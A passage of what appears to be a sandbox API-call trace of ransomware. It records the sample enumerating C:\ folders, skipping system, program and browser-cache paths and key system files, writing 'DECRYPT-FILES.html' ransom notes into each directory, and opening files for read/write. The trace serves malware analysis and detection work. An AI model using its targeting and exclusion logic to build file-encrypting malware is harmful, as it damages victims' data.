cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0059.079] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0059.079] lstrlenW (lpString="C:\\Config.Msi\\") returned 14 [0059.079] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.079] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\Config.Msi\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0059.079] lstrcatW (in: lpString1="C:\\Config.Msi\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Config.Msi\\wevkgn5.dat") returned="C:\\Config.Msi\\wevkgn5.dat" [0059.079] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.079] CreateFileW (lpFileName="C:\\Config.Msi\\wevkgn5.dat" (normalized: "c:\\config.msi\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.080] CloseHandle (hObject=0x0) returned 0 [0059.080] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.080] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e33930, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88e33930, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e33930, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0059.080] FindClose (in: hFindFile=0x66cf18 | out: hFindFile=0x66cf18) returned 1 [0059.080] CloseHandle (hObject=0x23c) returned 1 [0059.080] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885dec30, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x885dec30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x885dec30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x76c34864, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0059.080] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0059.080] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0059.080] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0059.080] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0059.080] lstrcatW (in: lpString1="Documents and Settings", lpString2="\\" | out: lpString1="Documents and Settings\\") returned="Documents and Settings\\" [0059.080] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0059.080] StrStrW (lpFirst="C:\\Documents and Settings\\", lpSrch=":\\Windows") returned 0x0 [0059.080] StrStrW (lpFirst="C:\\Documents and Settings\\", lpSrch="\\Program Files") returned 0x0 [0059.080] StrStrW (lpFirst="C:\\Documents and Settings\\", lpSrch="\\Games\\") returned 0x0 [0059.081] StrStrW (lpFirst="C:\\Documents and Settings\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.081] StrStrW (lpFirst="C:\\Documents and Settings\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.081] StrStrW (lpFirst="C:\\Documents and Settings\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.081] StrStrW (lpFirst="C:\\Documents and Settings\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.081] StrStrW (lpFirst="C:\\Documents and Settings\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.081] StrStrW (lpFirst="C:\\Documents and Settings\\", lpSrch="\\All Users") returned 0x0 [0059.081] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26 [0059.081] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.081] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Documents and Settings\\\\wevkgn5.dat") returned 38 [0059.081] CreateFileW (lpFileName="C:\\Documents and Settings\\\\wevkgn5.dat" (normalized: "c:\\documents and settings\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x23c [0059.126] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26 [0059.126] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0059.126] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Documents and Settings\\\\DECRYPT-FILES.html") returned 45 [0059.126] CreateFileW (lpFileName="C:\\Documents and Settings\\\\DECRYPT-FILES.html" (normalized: "c:\\documents and settings\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0059.247] WriteFile (in: hFile=0x240, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321f274, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321f274*=0x19ba, lpOverlapped=0x0) returned 1 [0059.248] CloseHandle (hObject=0x240) returned 1 [0059.249] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26 [0059.249] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0059.249] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e33930, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88e33930, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e33930, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="\x82df\x76c5\x16a0\xf2c6\xfd14\x321")) returned 0xffffffff [0059.249] CloseHandle (hObject=0x23c) returned 1 [0059.249] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="DECRYPT-FILES.html") returned 1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="autorun.inf") returned 1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="boot.ini") returned 1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="desktop.ini") returned 1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ntuser.dat") returned -1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="iconcache.db") returned -1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="bootsect.bak") returned 1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ntuser.dat.log") returned -1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="thumbs.db") returned -1 [0059.249] lstrcmpiW (lpString1="hiberfil.sys", lpString2="Bootfont.bin") returned 1 [0059.249] lstrlenW (lpString="C:\\") returned 3 [0059.249] lstrlenW (lpString="hiberfil.sys") returned 12 [0059.250] lstrcpyW (in: lpString1=0x321f4e4, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0059.250] lstrcatW (in: lpString1="C:\\", lpString2="hiberfil.sys" | out: lpString1="C:\\hiberfil.sys") returned="C:\\hiberfil.sys" [0059.250] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.250] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.250] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.250] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0059.250] lstrcmpW (lpString1="MSOCache", lpString2=".") returned 1 [0059.250] lstrcmpW (lpString1="MSOCache", lpString2="..") returned 1 [0059.251] lstrcatW (in: lpString1="MSOCache", lpString2="\\" | out: lpString1="MSOCache\\") returned="MSOCache\\" [0059.251] lstrcatW (in: lpString1="C:\\", lpString2="MSOCache\\" | out: lpString1="C:\\MSOCache\\") returned="C:\\MSOCache\\" [0059.251] StrStrW (lpFirst="C:\\MSOCache\\", lpSrch=":\\Windows") returned 0x0 [0059.251] StrStrW (lpFirst="C:\\MSOCache\\", lpSrch="\\Program Files") returned 0x0 [0059.251] StrStrW (lpFirst="C:\\MSOCache\\", lpSrch="\\Games\\") returned 0x0 [0059.251] StrStrW (lpFirst="C:\\MSOCache\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.251] StrStrW (lpFirst="C:\\MSOCache\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.251] StrStrW (lpFirst="C:\\MSOCache\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.251] StrStrW (lpFirst="C:\\MSOCache\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.251] StrStrW (lpFirst="C:\\MSOCache\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.251] StrStrW (lpFirst="C:\\MSOCache\\", lpSrch="\\All Users") returned 0x0 [0059.251] lstrlenW (lpString="C:\\MSOCache\\") returned 12 [0059.251] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.251] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\\\wevkgn5.dat") returned 24 [0059.251] CreateFileW (lpFileName="C:\\MSOCache\\\\wevkgn5.dat" (normalized: "c:\\msocache\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x23c [0059.251] lstrlenW (lpString="C:\\MSOCache\\") returned 12 [0059.251] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0059.251] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\\\DECRYPT-FILES.html") returned 31 [0059.252] CreateFileW (lpFileName="C:\\MSOCache\\\\DECRYPT-FILES.html" (normalized: "c:\\msocache\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0059.273] WriteFile (in: hFile=0x240, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321f274, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321f274*=0x19ba, lpOverlapped=0x0) returned 1 [0059.288] CloseHandle (hObject=0x240) returned 1 [0059.288] lstrlenW (lpString="C:\\MSOCache\\") returned 12 [0059.289] lstrcatW (in: lpString1="C:\\MSOCache\\", lpString2="*" | out: lpString1="C:\\MSOCache\\*") returned="C:\\MSOCache\\*" [0059.289] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x88ffc9b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88ffc9b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cf18 [0059.289] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.289] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x88ffc9b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88ffc9b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.289] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.289] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.289] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0059.289] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0059.289] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0059.289] lstrcatW (in: lpString1="All Users", lpString2="\\" | out: lpString1="All Users\\") returned="All Users\\" [0059.290] lstrcatW (in: lpString1="C:\\MSOCache\\", lpString2="All Users\\" | out: lpString1="C:\\MSOCache\\All Users\\") returned="C:\\MSOCache\\All Users\\" [0059.290] StrStrW (lpFirst="C:\\MSOCache\\All Users\\", lpSrch=":\\Windows") returned 0x0 [0059.290] StrStrW (lpFirst="C:\\MSOCache\\All Users\\", lpSrch="\\Program Files") returned 0x0 [0059.290] StrStrW (lpFirst="C:\\MSOCache\\All Users\\", lpSrch="\\Games\\") returned 0x0 [0059.290] StrStrW (lpFirst="C:\\MSOCache\\All Users\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.290] StrStrW (lpFirst="C:\\MSOCache\\All Users\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.290] StrStrW (lpFirst="C:\\MSOCache\\All Users\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.290] StrStrW (lpFirst="C:\\MSOCache\\All Users\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.290] StrStrW (lpFirst="C:\\MSOCache\\All Users\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.290] StrStrW (lpFirst="C:\\MSOCache\\All Users\\", lpSrch="\\All Users") returned="\\All Users\\" [0059.290] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88ffc9b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88ffc9b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89022b10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0059.290] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0059.290] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88fd6850, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88fd6850, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88fd6850, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0059.290] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0059.290] lstrlenW (lpString="C:\\MSOCache\\") returned 12 [0059.290] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.290] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\MSOCache\\" | out: lpString1="C:\\MSOCache\\") returned="C:\\MSOCache\\" [0059.291] lstrcatW (in: lpString1="C:\\MSOCache\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\MSOCache\\wevkgn5.dat") returned="C:\\MSOCache\\wevkgn5.dat" [0059.291] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.291] CreateFileW (lpFileName="C:\\MSOCache\\wevkgn5.dat" (normalized: "c:\\msocache\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.291] CloseHandle (hObject=0x0) returned 0 [0059.291] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.292] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88fd6850, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88fd6850, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88fd6850, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0059.292] FindClose (in: hFindFile=0x66cf18 | out: hFindFile=0x66cf18) returned 1 [0059.292] CloseHandle (hObject=0x23c) returned 1 [0059.292] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="DECRYPT-FILES.html") returned 1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="autorun.inf") returned 1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="boot.ini") returned 1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="desktop.ini") returned 1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="ntuser.dat") returned 1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="iconcache.db") returned 1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="bootsect.bak") returned 1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="ntuser.dat.log") returned 1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="thumbs.db") returned -1 [0059.292] lstrcmpiW (lpString1="pagefile.sys", lpString2="Bootfont.bin") returned 1 [0059.292] lstrlenW (lpString="C:\\") returned 3 [0059.292] lstrlenW (lpString="pagefile.sys") returned 12 [0059.292] lstrcpyW (in: lpString1=0x321f4e4, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0059.292] lstrcatW (in: lpString1="C:\\", lpString2="pagefile.sys" | out: lpString1="C:\\pagefile.sys") returned="C:\\pagefile.sys" [0059.292] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.293] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.293] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.293] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0059.293] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0059.293] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0059.293] lstrcatW (in: lpString1="PerfLogs", lpString2="\\" | out: lpString1="PerfLogs\\") returned="PerfLogs\\" [0059.293] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0059.293] StrStrW (lpFirst="C:\\PerfLogs\\", lpSrch=":\\Windows") returned 0x0 [0059.293] StrStrW (lpFirst="C:\\PerfLogs\\", lpSrch="\\Program Files") returned 0x0 [0059.293] StrStrW (lpFirst="C:\\PerfLogs\\", lpSrch="\\Games\\") returned 0x0 [0059.293] StrStrW (lpFirst="C:\\PerfLogs\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.293] StrStrW (lpFirst="C:\\PerfLogs\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.293] StrStrW (lpFirst="C:\\PerfLogs\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.294] StrStrW (lpFirst="C:\\PerfLogs\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.294] StrStrW (lpFirst="C:\\PerfLogs\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.294] StrStrW (lpFirst="C:\\PerfLogs\\", lpSrch="\\All Users") returned 0x0 [0059.294] lstrlenW (lpString="C:\\PerfLogs\\") returned 12 [0059.294] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.294] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\PerfLogs\\\\wevkgn5.dat") returned 24 [0059.294] CreateFileW (lpFileName="C:\\PerfLogs\\\\wevkgn5.dat" (normalized: "c:\\perflogs\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x23c [0059.294] lstrlenW (lpString="C:\\PerfLogs\\") returned 12 [0059.294] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0059.294] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\PerfLogs\\\\DECRYPT-FILES.html") returned 31 [0059.294] CreateFileW (lpFileName="C:\\PerfLogs\\\\DECRYPT-FILES.html" (normalized: "c:\\perflogs\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.326] WriteFile (in: hFile=0x2fc, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321f274, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321f274*=0x19ba, lpOverlapped=0x0) returned 1 [0059.327] CloseHandle (hObject=0x2fc) returned 1 [0059.327] lstrlenW (lpString="C:\\PerfLogs\\") returned 12 [0059.327] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*" | out: lpString1="C:\\PerfLogs\\*") returned="C:\\PerfLogs\\*" [0059.327] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89094f30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89094f30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cf18 [0059.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.327] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89094f30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89094f30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, 